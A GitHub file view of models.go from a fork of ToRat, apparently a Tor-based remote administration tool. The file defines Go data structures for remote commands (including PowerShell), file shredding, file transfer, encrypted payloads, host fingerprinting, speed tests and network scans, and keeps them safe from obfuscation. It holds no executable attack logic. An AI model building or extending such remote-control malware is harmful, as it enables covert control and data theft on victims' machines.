forked from lu4p/ToRat
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathmodels.go
82 lines (70 loc) · 1.14 KB
/
models.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
package shared
import (
"os"
"reflect"
)
// Make sure Models are never garbled.
var (
_ = reflect.TypeOf(Void(0))
_ = reflect.TypeOf(Cmd{})
_ = reflect.TypeOf(Shred{})
_ = reflect.TypeOf(File{})
_ = reflect.TypeOf(Dir{})
_ = reflect.TypeOf(EncAsym{})
_ = reflect.TypeOf(Hardware{})
_ = reflect.TypeOf(OSInfo{})
_ = reflect.TypeOf(Speedtest{})
_ = reflect.TypeOf(Gomap{})
)
type Void int
type Cmd struct {
Cmd string
Powershell bool
}
type Shred struct {
Path string
Times int
Zeros bool
Remove bool
}
type File struct {
Path string
Fpath string
Perm os.FileMode
Content []byte
}
type Dir struct {
Path string
Files []string
}
type EncAsym struct {
EncAesKey []byte
EncData []byte
}
type Hardware struct {
Runtime string
OSArch string
OSName string
OSVersion string
CPU string
Cores uint32
RAM string
GPU string
Drives string
}
type OSInfo struct {
Runtime string
OSArch string
OSName string
OSVersion string
}
type Speedtest struct {
IP string
Ping string
Download float64
Upload float64
Country string
}
type Gomap struct {
Scan string
}